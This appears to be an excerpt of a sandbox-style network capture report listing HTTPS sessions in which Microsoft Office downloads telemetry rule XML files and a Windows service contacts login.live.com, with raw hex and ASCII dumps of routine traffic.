2024-10-30 17:06:49 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49915	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:48 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:49 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:48 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 37a0b860-701e-0001-05e6-27b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170648Z-17fbfdc98bb6kklk3r0qwaavtw000000066g00000000a6wt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:49 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49916	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:49 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:49 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:49 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 2e99a458-901e-0067-29ae-26b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170649Z-17fbfdc98bbgnnfwq36myy7z0g00000008x0000000005q9f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:49 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49918	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:49 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:49 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:49 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: d866d412-001e-0028-1c9c-27c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170649Z-17fbfdc98bb6kklk3r0qwaavtw000000069g000000004ttv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:49 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49919	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:49 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:49 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:49 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3a0fb8a5-701e-0050-6930-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170649Z-17fbfdc98bb9xxzfyggrfrbqmw00000007q0000000001k95 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:49 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	49917	40.126.32.68	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:49 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-30 17:06:49 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-30 17:06:50 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 30 Oct 2024 17:05:49 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C506_BAY x-ms-request-id: 56424b4c-904f-4091-95df-d5924dc2d6e7 PPServer: PPV: 30 H: PH1PEPF00011F61 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 30 Oct 2024 17:06:49 GMT Connection: close Content-Length: 11392
2024-10-30 17:06:50 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49920	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:49 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:50 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:49 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 3c823cf0-801e-00a3-6533-267cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170649Z-17fbfdc98bb2rxf2hfvcfz5400000000067g000000004t5h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:50 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49921	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:49 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:50 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:50 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 255ed8c5-301e-0051-461c-2738bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170650Z-17fbfdc98bbp77nqf5g2c5aavs00000007xg000000006x84 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:50 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49922	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:50 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:50 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:50 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 78a8beb2-e01e-0071-6ad7-2508e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170650Z-17fbfdc98bb6vp4m3kc0kte9cs00000008zg000000009the x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:50 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49923	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:50 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:50 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:50 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: f21e1abf-101e-00a2-2367-289f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170650Z-17fbfdc98bbl4k6fkakdqzw75c000000081g000000001nga x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:50 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49924	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:50 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:50 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:50 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 9cbc9553-801e-008f-2aa3-262c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170650Z-17fbfdc98bbbnx4ldgze4de5zs0000000710000000000fvb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:50 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.5	49925	23.47.50.173	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
